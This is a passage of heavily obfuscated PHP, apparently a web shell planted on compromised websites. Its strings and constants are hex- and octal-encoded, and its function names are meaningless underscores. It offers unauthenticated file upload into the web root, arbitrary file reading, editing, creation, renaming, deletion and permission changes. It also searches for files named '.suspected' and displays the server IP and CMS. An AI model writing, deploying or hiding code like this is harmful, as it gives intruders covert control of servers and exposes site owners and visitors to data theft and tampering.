_____________($_94,$_95=-1.6131546601913){$_96=StrrIPoS($_94,"\x2f");$_97=subsTr_REPlaCe($_94,"",$_96,(int)RoUnD(24999.75+24999.75+24999.75+24999.75));return$_97;}function ______________($_98,$_99=-1.2645185794771,$_100=-0116426){echo"\x3c\x74\144\x20\x61\154\x69\147\156\075\x22\x72\151\147\150\x74\042\040\x63\157\x6c\163p\x61\156\x3d\042\062\042\x3e";echo"\x3cf\157r\155\x20\x61c\x74\151\x6f\x6e\040\x3d\040\047".$_98."\x27\040\155\x65\164\150\157\x64\040\075\040\x27\x50O\123\x54\047\076";echo"\074i\x6e\x70\165\x74\x20n\x61\155\x65\075\042s\x65\141\x72\143\x68\x5f\x66i\x6c\145\042\x20\x73\151\x7a\145\x3d\x22\x37\x22\x20\x74\x79\x70\x65\x3d\042\x74\x65\x78\164\042\040\x70la\x63\145\x68\157\x6c\x64\145\162\075\x22\x2e\163\x75\x73\160\x65\x63\164\x65\x64\x22\x20/\076";echo"\x3c\151\x6e\x70\165\164\040\x74\171\160\145\075\x22s\165\142\x6d\x69t\x22 v\x61\x6c\x75\x65\075\x22\x6f\x6b\042\x20\x2f\x3e\x3c\057f\157\x72\x6d\076";echo"\074\146\157\162\155\040\x61\143\164\151\x6f\156\040=\x20\x27".$_98."\047 \155\145\164\150o\144\x20\075\x20\047\120\x4f\123\124\047\x3e";echo"\074\x69\156\x70\x75\164\040\156\x61\x6d\x65\x3d\x22\x6e\x65\167_\x66\x69\x6c\x65\042\x20\x73\x69\172\x65=\042\x37\042\x20\x74y\160\x65\075\x22\x74\145\170\x74\042\x20\160\x6c\x61\x63\145\x68\x6f\x6cd\145\x72\075\x22\x6d\x61k\145\x20\146\x69\x6c\x65\x22\040\x2f\076";echo"\x3c\x69\156\x70\x75\x74\040t\x79\x70\145\x3d\x22\x73\165\x62\x6d\x69\164\042\x20\x76\141\x6c\x75\145\x3d\x22\157\x6b\x22\040\057\x3e\074/\x66\157\162\155\076";echo"<\146\157\x72\x6d\040\x61\x63\x74\151\x6f\x6e\040\x3d\x20\x27".$_98."\047\x20\x6d\x65\x74\x68\157\144\x20=\040\x27\120\x4fS\x54\x27\076";echo"\074i\x6e\x70\165\164\040\156\x61\155\145\x3d\042\x6ee\x77\137d\151\162\042\040\163\x69\x7a\145\075\x22\x37\x22\040\164\171\160\145\x3d\x22te\170\x74\042 p\x6c\141\x63\x65\x68\157l\x64\x65\x72\075\x22\x6d\x61\153\x65\040\144\x69\x72\042\040\x2f\076";echo"<\x69np\165t\x20\x74\171\160\145\075\x22\163\x75\142\x6di\164\x22\040v\x61\154u\145\x3d\x22\x6f\153\042\040\057>\x3c\x2f\146\157r\x6d\x3e";echo"\x3c\057\164\144\x3e\x3c\x2f\164\162\076";}if(isset($_GET["\x72\145\x6e\141\x6de"])):if(!empty($_POST["\x6e\x5f\x6e\x61\x6d\x65"])):if(rename($_GET["r\x65\156\141\155\145"],$_POST["n\137\156\141\155\145"])):$_101="\x3c\146\x6f\x6e\164\x20\143\x6f\x6c\x6f\162=\042\147\162\x65\x65\156\042\x3e\x3c\142\x3e\116\141\x6d\x65\x20\x63h\141\156\x67\145\x64\x21\x3c\x2f\x62>\074\x2f\146\157\156\x74\076";else:$_101="\074\146\157\156\x74\x20\143\x6f\154\157\x72\075\x22re\144\x22\076\074\x62\x3e\116\x61\x6d\x65\040\143\141n\x20n\157\164 \x62\x65\040\143\x68\141n\x67\145\144\074/\142\x3e\074\x2f\146\x6f\156\x74\076";endif;echo$_101;endif;endif;function _______________($_5,$_102,$_103=null,$_104=false,$_105=1.5220217646212){if(!empty($_POST["c\150\155"])):if($_POST["\x63\150\155"]=="\060\067\x35\065"):if(cHMod($_5,-0120+02112-01345- -0330)):$_106="\x3c\x66\x6f\156t\x20\x63\x6fl\x6f\x72\x3d\042\147\162\145\145\x6e\042\x3e\074\142\076\120e\162\x6d\151\x73\x73\151on \x63\150\141\156\x67\x65\144\041\x3c\057\142\x3e\074\x2f\146\157\x6e\164\x3e";else:$_106="\x3c\x66\157\156\x74\x20\143\x6f\x6c\157\162\x3d\042\x72\x65d\042>\074\142\x3eUna\x62\154\145\040\143\x68\x61\156\147\145\040\x70\145\162\155\151\x73\163i\x6fn\x21\x3c\x2f\x62\076<\057\146\157\156\x74\076";endif;elseif($_POST["\143\150\x6d"]=="\060\0644\064"):if(ChmoD($_5,(int)roUND(146+146))):$_106="<f\x6f\156\x74\x20\143\x6f\x6c\x6f\162\075\x22g\162\x65\x65n\x22\076\x3c\142\076\x50\145rm\x69\163\x73\151on\040\x63\150\x61\x6e\147\145\x64\041\x3c\x2f\x62\076\x3c\x2f\x66\x6fnt\x3e";else:$_106="<\146\x6f\156\x74\040\x63\x6f\x6c\x6f\x72=\x22\x72\x65d\x22\076\074\x62\x3e\x55\x6e\x61\142\154\145\040\143\x68\141n\147\145\040\x70e\x72\155i\x73\163\151\x6f\156\041\x3c\x2f\142\x3e\074\057\146o\x6e\x74\x3e";endif;elseif($_POST["\143h\x6d"]=="0\066\x34\x34"):if(cHMOd($_5,(int)rounD(140+140+140))):$_106="\x3c\146\157\x6e\x74\040\x63o\x6co\x72\x3d\x22\x67\162\x65\x65n\042\076\x3c\x62\076\120e\162\155\151\x73s\151\x6fn\x20\143\x68\141\x6e\147ed\x21\x3c\x2f\x62\x3e\x3c\057\146\157\x6e\x74\x3e";else:$_106="\074\x66\x6f\156\x74\040\x63\157\154\x6f\162\x3d\x22\162\145\144\042\x3e\x3c\142\076\x55\156\x61\x62\x6c\x65\x20\143\x68\141\x6e\x67e\x20\x70\x65\x72m\151\163\x73\x69\x6f\156\041<\057\142\x3e\x3c\057\146\x6f\x6e\x74\x3e";endif;else:$_106="\060\067\065\065\074\x62r\076\060\x34\x34\064\x3c\142\x72\x3e\x30\x36\x34\064\074\142r\076";endif;echo$_106;endif;if(empty($_POST["\156e\167"])):$_96=STrriPOS($_5,"\x2f");$_0=suBsTR_RePLace($_5,"",$_96,0303324+-065);if(FILE_exIStS($_5) and (FILesize($_5)>(-046+040- -07))):if(!$_107=fopEN($_5,"\x72")):echo"\x6e\157\x20\x68\x61\x76\x65\x20\160\145r\x6d\151\163s\x69\x6f\x6e<\x62\x72\x3e";$_108="\143\141\156\x27\164\x20\163\x68o\167";else:$_108=fREad($_107,FILesIZE($_5));fCLosE($_107);endif;else:$_108="";endif;$_108=StR_REPlacE("\074t\x65\x78\164\x61\162\145\141>","\074\x74\x65\x78\164\x61\x72\x65a\076",$_108);$_108=hTMlSPEciaLChArs($_108);echo"\x3c\164r\x3e<\164\144\x20\x61\154\x69\147\156\x3d\x22\143\145\156\164\x65\x72\x22\040\x63\x6f\x6c\163p\141\x6e\075\042\x35\042\076\074\x66\x6f\162\x6d\x20\x61\x63\x74\151\157\156\x20\075\x20\x27\x68\x74\164\x70\072\057\057".$_102."\x3f\x65d\151\164\075".$_5."\046\x64\x69\162\075".$_0."\047\x20\x6de\x74\150o\x64 \075\040'\x50\117\123\x54\047\076\012";echo"F\x69\154\145\072\040".$_5."\x3c\142\162\076\012";echo"<t\x65\170\x74\x61\x72\x65\141\040\x6e\141\155\x65\040\075\040\047\156\x65\x77\x27\040ro\x77\x73\040\x3d\040\x27\x32\060\x27 co\x6c\163\x20\075\x20\x27\061\x32\x30\x27>".$_108."\074\x2f\164\145\170\164\x61\162\x65\x61\x3e\074\x62\x72\x3e\012";echo"\074\x64\x69\166\040\141\x6c\x69\x67n\075\x22\162\151\x67\x68\164\x22\x3e\x3c\142\x72\x3e\074\151\x6e\160\165\x74 \x74\171\160\145\040\075\040\047\163u\x62\155\151t\x27\x20\166\x61\x6cu\145\x20\075\040\047\123\x61\166e\x27\076\074\x2f\144\x69\166\x3e\x3c\x2f\x66\x6f\162\155\x3e\074/\x74d>\x3c\x2f\x74\x72\x3e\x0a";echo"\074t\x72\x3e\x3c\164\x64\040a\154\151\x67\156\075\x22\154\145\146t\x22>\x3c\146\x6f\x72\155\x20\x61\143\x74\x69o\x6e\040\075\x20'\x68t\x74\160\072/\057".$_102."\x3f\145\144\x69\x74\075".$_5."\046\x64\x69\x72\075".$_0."\047\040\x6d\145\x74\x68\157\x64\x20\075\x20\x27\x50\117\123\124\047\x3e\x0a";echo"\074\151\x6e\160\x75\164\x20na\x6d\145\x3d\x22\x63\150\155\x22\040\x73\x69\x7a\x65\075\0424\042\x20t\171\160\145\075\042\x74e\x78\164\x22\x20\x70\154\x61\x63\145\150\157l\x64\x65\162\x3d\x22".___($_5,"\x31")."\042\057\076";echo"\074\x69\156\x70\165\x74\040\164\x79\x70\x65=\x22\x73\x75\x62\x6d\x69\x74\042\040\166\141\x6c\x75\x65\x3d\042o\153\x22\x20\x2f\x3e\074\057\x66\157r\155\076<\x2f\164\x64\x3e\x0a";echo"\074\x74d\x20\x63\x6f\154\x73\160\x61\156\x3d\x223\x22\x20\x61\x6c\151\147\156\075\x22\x6c\x65\146\x74\x22\x3e\x3c\146\157\162m\040\x61\143t\151\x6f\156 \x3d\040\047\x68tt\x70\072\x2f\057".$_102."\077r\145\x6e\x61\155\x65\x3d".$_5."\046\144\x69\x72\075".$_0."\047 \x6d\x65\x74h\157\x64\x20=\x20\x27\x50\117\123\124\x27\x3e\012";echo"\074\x69\x6e\160\165\164\x20\x74\171\160\145\x3d\042\x74\145\x78\164\x22\040\156\x61\155\145\075\047\156\x5f\156\x61m\x65\x27\040s\151\x7a\x65\x3d\042\067\062\x22\x20v\x61\154\165\x65\075\042".$_5."\x22\076";echo"\074\x69\156p\x75\164\040\x74\171\160e\x3d\042\163\165\x62\x6d\151\x74\x22\x20\x76\141l\165\145\x3d\x22\x6f\x6b\042\x20\057\x3e\074\057\146\157\162\155\076<\x2f\164\x64\076\074\057t\x72\x3e\x0a";else:if(!empty($_POST["\156\x65\x77_\162\x65\x6d\157\164e"])):if(!chmOD($_5,(int)rouNd(246.5+246.5))):return"\156\157\040\150\141\166\145 \x70\x65\x72\155\151\x73\163\x69on\040\x66\157\162\040\143\150\x6d\x6f\x64\x21";endif;$_108=________($_5);$_108=$_POST["\x6e\x65\167"].$_108;$_107=fopEN($_5,"\x77");if(FpUTs($_107,$_108)):$_109=" \055\x20\074\146o\x6e\164\x20\143\157\154\157r\075\x22\147\x72\x65e\x6e\x22\x3e\x3c\142\076\105\x64\x69\164\145\144!\x3c\x2fb\076\x3c/\146\x6f\156\x74\x3e";else:$_109="\040\055\040\074\x66\x6f\156\x74\040\143\157\x6c\157\162=\x22r\x65d\x22\x3e\074\142\076U\156\x61\x62\x6c\x65\x20\x74\157 \x65d\151\x74\x21<\057\142\x3e\074\x2f\x66\157\156t\076";endif;FcLOSE($_107);if(!chMOd($_5,(int)RoUNd(73+73+73+73))):return"\156\157\040ha\x76\x65\040\160\x65\162\155\151\x73s\151o\156\040f\157\162\040\x63\x68\x6d\x6f\144\x21";endif;else:if(!cHMOd($_5,0506+0607-0404- -044)):return"n\x6f\040\x68\x61\166\x65 \160\145\x72\x6d\x69\163\x73\151\x6fn\x20\x66\157\x72 \143\x68\155\157\x64\041";endif;$_107=foPEN($_5,"\x77");if(fPUts($_107,$_POST["\x6e\145\x77"])):$_109="\x20-\x20\074\146\x6f\156\x74\x20\x63\x6f\154\157r\075\042\x67\162\x65\145\x6e\x22>\074\x62\x3e\105\x64\151te\x64\x21\074\057\142\076\x3c/\146\157\156\164\076";else:$_109="\040\055 \x3c\x66\x6f\156\x74 \x63\x6f\x6c\157\x72\075\042\162\145d\042\076<\x62>\x55\156\141\142\154\145 t\x6f\x20\x65d\x69\164\041<\x2fb\x3e\074\057\x66\157\156\x74>";endif;fCLose($_107);endif;$_96=stRRipoS($_5,"\057");$_0=SuBstR_rEPLAce($_5,"",$_96,(int)rounD(33333+33333+33333));$_107=FOpen($_5,"\162");$_108=freAd($_107,FILesiZe($_5));fclosE($_107);$_108=stR_RePlACe("\074\164\145\170\164\141\x72\145a\x3e","\x3c\164e\x78\x74a\x72\145\141\x3e",$_108);echo"<\164r\x3e\x3ctd \141li\147\x6e\x3d\x22\143\145\x6e\x74\145\162\042\040\143\157\154\x73\160\x61\156\x3d\042\x35\x22\x3e\074fo\x72\155\x20\x61c\x74i\157\156\x20=\040\x27\150t\x74\160\x3a\x2f\x2f".$_102."\077\x65\144\x69\x74\x3d".$_5."\x26d\151\x72\075".$_0."'\040\x6d\x65\164\x68\157\x64\x20\075\x20\x27\120\x4f\x53\x54\x27>\x0a";echo"\x46\x69\x6c\145\x3a\x20".$_5.$_109."\074\x62r\x3e\x0a";echo"\x3c\164\x65\x78\x74\141\x72\x65a\x20n\141\155\x65\040\075\040\047\x6e\x65w\x27\x20\x72\157\x77\163\x20\075\x20\x2720\047\x20\x63\157\x6c\163\x20=\x20\x27\x31\x32\x30\047\076".$_108."\074\x2f\164\x65\170\x74\x61\162\x65a\x3e\x3c\142\x72\076\x0a";echo"\x3c\x64\x69\166 \x61\154\151g\x6e\075\042\162\151\x67\150\x74\x22\076\074\142r\076\x3c\x69\x6e\160\165\164\x20t\171p\x65 \075\040\047\x73\x75\x62\x6d\151\164\x27\040\166\141\x6c\x75\x65\040\x3d\040\047\x53\141\x76\145\047\076\074\x2f\144\x69\166\x3e\074\x2f\x66\157\162\155\076\074\x2f\164\144\076<\057t\162\x3e\x0a";echo"<\164\x72\x3e\074\x74d\040\x61\154i\x67\156\x3d\042\x6c\145\x66\x74\x22\076\074\146\x6fr\x6d\040\141c\x74io\156\x20=\x20\x27\150\x74\x74\160\x3a/\057".$_102."\x3f\145\x64\151\x74\075".$_5."\x26\144\x69\x72\x3d".$_0."\x27\x20\x6d\x65\x74\150o\144\x20\075 \x27\x50\117\123\x54\047\x3e\x0a";echo"\074\151\x6e\x70\165\164\x20\x6e\141\155\x65=\042\143\x68\155\042\x20\163\151\172\145\x3d\x22\x34\x22\040\x74\171\160\x65\x3d\x22t\x65\x78\x74\042\x20p\x6c\141c\145h\x6fld\x65\x72\x3d\x22".___($_5,"1")."\x22\x2f\x3e";echo"\x3c\151\156\160\165\164\x20\164\x79\160\145\x3d\x22\163u\x62\x6d\151\164\x22\x20\166\141\x6c\165e=\042\x6f\x6b\042\x20\x2f\076\074\057\146o\162\x6d\x3e\074\x2f\x74d\076\x0a";echo"\x3c\x74\x64 \143\x6f\154\x73\x70\x61\156\x3d\042\x33\042\x20\141\154\x69\147\x6e\x3d\042l\145\146\x74\042\x3e\074\146\x6f\x72\155\040a\143ti\x6f\156\x20\x3d\x20'\150\164\x74\160\x3a\057\x2f".$_102."\077\x72\145\x6e\141\155\145\075".$_5."\x26\x64\151\162\075".$_0."\047\040m\x65\164\x68\x6f\144\x20\075\x20\x27\x50\x4f\x53\124\047\076\012";echo"\074\x69\x6e\160\165\164\x20t\171\x70\145=\042\x74e\x78\x74\042\040\156\141\x6d\x65\075\047\x6e\137\x6e\x61\x6d\145\047\040\x73\x69\x7a\x65\075\042\067\x32\x22\x20\x76\x61\154\x75e\075\042".$_5."\042\x3e";echo"\074\x69\156\160\165\x74 \x74\171\160\145\x3d\x22\x73\x75\x62\x6d\x69\164\042\040\x76\x61\x6c\x75\x65\075\042\x6f\153\x22\x20\x2f\076\074\x2f\146o\x72\155\076\x3c\057\164\x64\076<\057\164\x72\076\012";if(cHmoD($_5,(int)rounD(146+146))):$_110="\x3c\x66\x6f\156\x74 \x63\157l\157\x72\x3d\x22\147\x72\x65\145\x6e\x22\x3e\x3c\142\076\120\x65\162\x6d\x69\x73\163io\x6e\040\143\150\141\156\147\x65\x64\x21\074\057\142\x3e\074\057\146\157\156\164\x3e";else:$_110="\074\146on\x74\040\x63\x6f\154or\075\x22\162\145\144\x22\x3e\074\x62\076\125\x6e\x61\142\154\x65\x20\x63h\141\x6e\x67\145\x20\x70\145\162m\x69s\x73\x69\x6f\156\041\x3c\057\142\076\x3c\x2f\146\x6f\x6e\x74\x3e";endif;endif;}if(isset($_GET["\144\x65\x6c"])):if(is_DiR($_GET["\x64\x65\154"])):_______($_GET["d\145\x6c"]);else:____($_GET["\x64\x65\154"]);endif;endif;$_35=$_SERVER["\x53\105\122\126ER\x5f\x4e\101\x4d\x45"];$_36=$_SERVER["\x53\103\122\111\x50\x54\137\x4e\x41\x4dE"];$_111=array();$_112=array();echo"\x09\x3ct\162\040\x61\154\151\147\x6e=\x22\x6c\145\146\164\x22\076\x0d\012\011\011\x3c\x74\144\040\143\157l\x73\160a\156\x3d\x22\x33\x22\076\015\012\x09\x09";if(cOunT($_FILES)!=(-016+016)):if(isset($_FILES)&&$_FILES["\151\x6e\x70\x75t\146\x69\154\x65"]["\x65\x72\162\157\x72"]==(int)ROUNd(0+0+0)):if(isset($_GET["\144\151\162"])):$_94=$_GET["\144\151\x72"];else:$_94=$_SERVER["\104\117\103\x55\115\105\x4e\x54\137\122\x4f\x4f\x54"];endif;$_113=$_94."\x2f".$_FILES["\x69\156\x70\165\x74\x66\151\154\145"]["\156\x61\155\145"];Move_UpLoaDEd_FILe($_FILES["i\156\160\x75t\146\x69\x6c\145"]["\164\155\160\x5f\x6e\141m\145"],$_113);$_114=sTR_RePLace($_SERVER["D\117\103\x55\x4d\x45\116\x54\137\x52\x4f\x4f\124"],$_SERVER["\123\105\x52\126\x45\x52_N\101M\105"],$_113);echo"<\x66\x6fnt\x20\x63\157\x6c\x6f\162\075\x22\x67\x72\x65\145\x6e\x22>\x3c\142>"."\x3c\141 \x74\x61\162\147\145\x74\075\042\x5fb\154\x61\156\x6b\042\040h\162e\x66\x3d\042\x68\x74\164\160\x3a\x2f\x2f".$_114."\042\076\106\151\154\x65 \125p\x6c\x6f\x61\144\145\x64\x21\074\057\141\x3e"."\x3c\x2f\142\076\074\x2f\146\157\x6e\x74\x3e";endif;elseif(COuNt($_FILES)!=(int)ROUnd(0+0+0)):echo"\x3cf\157n\x74 \x63\157\x6c\x6f\162\x3d\042\x72\x65\x64\042\076\x3c\x62\076\116\157\040\106\151\x6c\x65\x20\x55\160\154o\x61\144\145\144\x3c\057b\x3e\074/\146\x6f\x6e\164\076";endif;if(isset($_GET["\x64\x69\162"])):$_115=$_SERVER["\x53\103\x52\111\120T\x5f\116\x41\115\x45"]."\077\x64\151\x72\075".$_GET["\x64i\162"];else:$_115=$_SERVER["\x53\x43\x52\x49\120\124\137\x4e\101M\x45"]."\x3f\144\151\x72\x3d".$_SERVER["\x44\x4f\103U\115E\x4e\124\x5f\x52\117\117\124"];endif;;echo"\011\x09\011\x3c\146\x6fr\x6d\040\x6d\145\x74ho\x64\x3d\042\160\x6f\x73t\x22\x20\x61\143\164\x69\x6f\156\075\042";echo$_115;echo"\x22 \145\156\x63\164\x79\x70\x65\x3d\042\x6d\x75\x6c\164\151\160\x61\x72\x74/\146\x6f\162\155\x2d\x64a\x74\141\042\x3e\x0d\012\x09\x09\011\x3c\151\156\x70\165\x74\040t\x79\x70\x65\075\042\146\x69\154\145\x22\040\151d\075\042\x69\156\160\165\164\146i\154\145\x22\x20\156\141\155\x65\075\042\151\x6e\160\165t\x66\151\x6c\x65\042\076\015\012\x09\011\x09\x3c\151\156\x70u\164\040\164y\160\145\075\x22\163u\x62\x6d\x69\164\x22\x20\x76\x61\154\x75\145\x3d\042o\153\x22\x3e\x0d\012\011\011\x09\x3c\x2ff\x6f\162\155\076\x0d\012\011\x09\011\x43\x4d\x53\072 ";echo ____________();echo"\x3c\x62\x72>\015\012\x09\x09\x09\x53\x65\x72\x76e\x72\x20\x49\120\x3a\040";echo$_SERVER["\x53\105\122VE\122\x5f\x41\x44\104\x52"];echo"\x3c\142\x72\076\015\x0a\x09\011\x09\122\157\x6f\164\x3a ";echo"\x3c\141\040\x68\162e\146\075\x22"."\150\164\x74\160\072\x2f\057".$_35.$_36."\077d\x69\162\x3d".$_SERVER["\104\117\x43\x55\115\105\116\124_\122\117\117\124"]."\x22\x3e".$_SERVER["\104\x4f\103\125\x4d\x45\116\x54\137\x52\117\x4f\124"]."\x3c\057a\x3e";echo"\x09\x09\011\x3c\142\x72>\x3c\x62r\x3e\015\012\x09\011\011\104\x69\162\145\x63\164\x6f\x72\171\072\x20\x0d\x0a\011\x09\011";if(isset($_GET["\144\x69r"])):$_94=$_GET["\144i\x72"];else:$_94=$_SERVER["\x44\117\103\125M\x45\x4e\124\137\x52O\x4f\x54"];endif;$_116=EXplODE("\057",$_94);$_117=CounT($_116)-(int)Round(0.33333333333333+0.33333333333333+0.33333333333333);$_118=array();$_119=$_94;for($_57=(-0233+0234);$_57<=$_117;$_57++):$_119=_____________($_119);$_118[]=$_119;endfor;for($_57=(int)ROUnD(0.33333333333333+0.33333333333333+0.33333333333333);$_57<=$_117;$_57++):$_120=$_117-$_57-(int)ROUNd(0.33333333333333+0.33333333333333+0.33333333333333);if($_57!==$_117):echo"\x3c\141\040\x68\x72\x65\146\x3d\x22\x68\164\164\160:\057\057".$_35.$_36."\077\x64i\162\x3d".$_118[$_120]."\x22\x3e".$_116[$_57]."\074\x2f\x61\076/";else:echo"<\x61\x20\150\162\145\x66\x3d\x22ht\x74p\x3a\057\057".$_35.$_36."\077di\162\x3d".$_94."\042\076".$_116[$_57]."\074\057\x61\x3e";endif;endfor;;echo"\x09\011\011\015\012\011\x09\x09\x0d\x0a\011\011\x3c\057t\x64\076\x0d\012\x09";if(isset($_GET["\x64\x69r"])):if(isset($_POST["\x6e\145w\x5f\x66i\x6c\145\x5f\x6e\141\155\145"])):$_121=$_GET["\144\x69\162"]."\057".$_POST["\156\145\x77\137\x66i\154\145\x5f\x6e\141\x6d\145"];$_98="\150\164\164\x70\x3a\057\057".$_35.$_36."?\x64\151\162\075".$_GET["\x64\x69\x72"]."\046\x65\x64\151\x74\075".$_121;else:$_98="h\x74\164\x70\072\057\x2f".$_35.$_36."\077d\x69\162\x3d".$_GET["\144\x69\162"];endif;else:if(isset($_POST["\156\145\167\137f\151l\x65\137n\141\x6de"])):$_121=$_SERVER["\104\x4f\x43\x55\115E\x4eT\x5f\x52\117\117T"]."\057".$_POST["\156e\x77\137\x66i\x6c\x65\137\156\141\155\145"];$_98="\150\x74\164\160\072\x2f\057".$_35.$_36."\077\144i\162\x3d".$_GET["\x64\x69\162"]."\046\x65\144i\164\x3d".$_121;else:$_98="\150t\x74\x70\072\x2f/".$_35.$_36."\x3fdi\x72=".$_SERVER["\104\x4f\x43U\115E\116T\x5f\122\117\117\x54"];endif;endif;if((empty($_POST["\x6e\145\167\137\x66\151\x6ce"])) and (empty($_POST["\163\145\x61\162\x63\150\x5ff\x69\x6c\x65"])) and (empty($_POST["n\145\167_\x64\151\x72"]))):if(isset($_GET["\x64\x69\162"])):$_94=$_GET["\x64\x69\162"];else:$_94=$_SERVER["\x44\117\x43\125\x4d\x45\x4eT\137\x52\x4f\x4fT"];endif;$_98="\x68\164\164\160\x3a\057\x2f".$_35.$_36."?\144i\x72\075".$_94;______________($_98);elseif(!empty($_POST["\156\145\167\x5f\146\x69\x6c\145"])):if(isset($_GET["\144\x69\x72"])):$_94=$_GET["\x64\x69\162"]."\057".$_POST["\x6e\x65\x77\x5f\x66il\x65"];else:$_94=$_SERVER["\x44\x4f\x43\125\x4d\105\116\124\x5f\122\117\117\x54"]."\057".$_POST["\156\x65w\137\x66\x69\x6c\x65"];endif;$_98="\x68\164\x74\x70\072\x2f/".$_35.$_36."\x3f\x64ir\075".$_GET["d\x69\162"]."\x26e\x64i\x74\x3d".$_94;if($_107=foPen($_94,"\x77")):echo"\x3c\146\157\x6e\164\040\x63\157\x6c\x6fr\075\x22\x67\x72\145\x65\x6e\042\x3e\x46\x69\x6c\x65 \x63\162\x65\x61\164\x65\144\040\x73u\143\143\145s\x73\x66\x75\154\154\171\041\074/\x66\157\156\x74\076";______________($_98);else:echo"\x3c\x66\x6f\x6e\x74\x20\x63\157\154\157\162\x3d\x22\162e\x64\042\076\103\141\x6e\040\x6e\157t\040\x63\162\x65\141\164\x65\x21\x3c\057\146o\156\164\x3e";______________($_98);endif;fcLosE($_107);elseif(!empty($_POST["\x6e\x65\x77\137\144\151\x72"])):if(isset($_GET["\x64\151\162"])):$_94=$_GET["\144\151r"]."\057".$_POST["\156\145\167\137di\162"];else:$_94=$_SERVER["\104\x4f\x43\125\x4d\x45N\124\x5f\122O\117\x54"]."\057".$_POST["\156\x65\x77\x5f\144\151\x72"];endif;$_98="\x68\x74\x74\160\072\x2f\057".$_35.$_36."\077\x64\151\x72\075".$_GET["\144\x69\x72"]."\046\x6e\x65\167\137d\x69\x72\075".$_94;if($_107=mkDIr($_94)):______________($_98);echo"\x3c\164r\040a\x6c\151\147\156\075\x22\143\145\156\164\x65\x72\042\x3e\x3ct\144\040\x61\x6c\x69\147\x6e\075\x22l\x65\146\x74\042\040>"."<\x66\157\x6e\x74\x20\143ol\x6f\x72\075\x22\x67\x72een\x22\x3e\x46\157\x6c\144\x65\x72 \143\162\145\141\x74e\144\x20\163\x75\143\143\145\163\163\146u\x6c\x6cy\x21<\057\x66\x6f\156t\x3e\x3c\057\x74\x64\076"."<\164\144\x3e\074\057t\144\x3e\074\x74\144>\x3c/t\144>\x3c\x74\144\x3e<\057\164\x64>\x3c\164\144\x3e\x3c\x2f\164\x64\076\x3c\057t\x72\x3e";else:______________($_98);echo"<t\x72\x20\141l\x69\x67n\075\x22ce\156t\145\x72\042>\074\164\144\040\141\154\x69\x67\x6e=\042\x6c\x65\x66\x74\x22\x20\x3e"."\074\x66\x6fn\x74\040\x63\x6f\x6c\157\x72\075\x22\162\145\x64\x22\076\103\x61\x6e\x20\156\x6f\x74\040\x63\162e\141\x74\145\040\146\157l\144\145\x72\041\074/\x66\157\x6e\x74\076<\x2ftd\x3e"."\x3c\164\144\x3e\x3c\x2f\x74\144>\x3c\164\x64\076\074\057\164\x64\x3e\x3c\x74\144\x3e\x3c/\x74d\076<\164\x64\x3e\074\x2f\164\144\076\x3c/t\162\076";endif;elseif(!empty($_POST["\163\x65\141\162\143\150_\x66\x69le"])):$_122=$_POST["\x73\145\x61\x72\143\x68\137\x66\x69le"];$_123=_________($_SERVER["D\117\103\125M\105N\x54\137\122\117\117\124"]);if(isset($_GET["d\x69\x72"])):$_75=$_GET["\x64\x69\x72"];else:$_75=$_SERVER["\x44\x4f\x43\x55ME\x4e\x54_\x52\117\x4f\124"];endif;______________($_98);foreach($_123 as$_124):$_34=StrisTR($_124,$_122);if($_34!==false):$_76=__________($_124);$_77=stR_repLaCE($_SERVER["\104\x4fC\x55\115\x45\x4e\x54\x5f\122\117\117\124"],$_SERVER["S\105\122V\105\122\137\116\101\x4d\x45"],$_124);echo"\074t\x72\x20\142\x67\143\x6f\154\x6f\162\075\x22\x23\x66f\146\x66\146\x66\x22\040a\x6c\151\x67\x6e\x3d\x22\x63\145\156\x74\145\162\042\076\x3c\164\144\040\141\x6ci\147n\075\042l\145\146\x74\x22\x20\076"."<\141\x20\163\x74\171\154\x65\075\x22\164\145\x78\x74-\144\145\143\157\162\x61\164\x69\157\x6e\x3a\x20n\x6f\x6e\145\x3b\042\040\150\162\145\x66\075\042\150\x74t\x70:\057\x2f".$_35.$_36."\077\x65\x64\x69\164\x3d".$_124."\046\144\x69\162\075".$_75."\x22\x3e<\146\x6fn\164\x20\143\x6f\154or=\x22b\154\141c\x6b\042\076".$_124."\x3c\057\x66\x6f\x6e\x74\076\074\x2f\141>"."\074\x2f\x74d\076\074\x74\x64\076".___________($_124)."\x3c\057\164\144\076\x3c\164\x64\076".$_76."<\x2f\x74d><\x74\x64\x3e".___($_124,"\060")."\x3c\x2f\x74\144\076\074\164d>"."\074\141 \x68\162\x65\146\x3d\042\x68\x74\164\x70\x3a\x2f\x2f".$_35.$_36."\077\144\145\154\x3d".$_124."\x26\144\x69\x72\075".$_75."\x22\x3e\x55<\057\141>\046\x6eb\x73\x70;"."\074\141\x20\x68\x72\145f\075\042\150t\x74\160:\057\057".$_35.$_36."\x3f\145\144\x69\164\x3d".$_124."\046\x64\151\162\x3d".$_75."\x22>\105\074\x2f\141\x3e\046\156\x62\163\x70\x3b"."\x3c\141\x20\164\141\162\147\145\164\x3d\042\x5f\142l\x61\x6e\153\042\x20\150\x72\145\x66=\042\150\x74t\160:\057\x2f".$_77."\042\x3e\x4f\074\x2fa\076&\x6e\142\163\160\x3b"."\x3c\141\040\150\x72\145f\075\042\x68\x74\x74\x70\072/\x2f".$_35.$_36."?down\154o\141\144\075".$_124."\046\x64\x69\x72\075".$_75."\042\x3e\x44<\057\x61\076"."\x3c\x2f\x74\x64\076\074\057\x74\x72\076";endif;endforeach;endif;if(isset($_GET["\x65\x64\x69\x74"])):$_102=$_35.$_36;_______________($_GET["e\x64\151\x74"],$_102);endif;;echo"\x09\015\x0a\x09\074\164\x72\x20\141\154\151g\x6e\x3d\042\143\145\156\x74\145\x72\x22\040\163\x74\171\x6c\x65\075\x22\143\x6f\x6c\157\162:\040\x23\x342\x33\x63\x36\063\073\x22\076\x3c\x74\x64 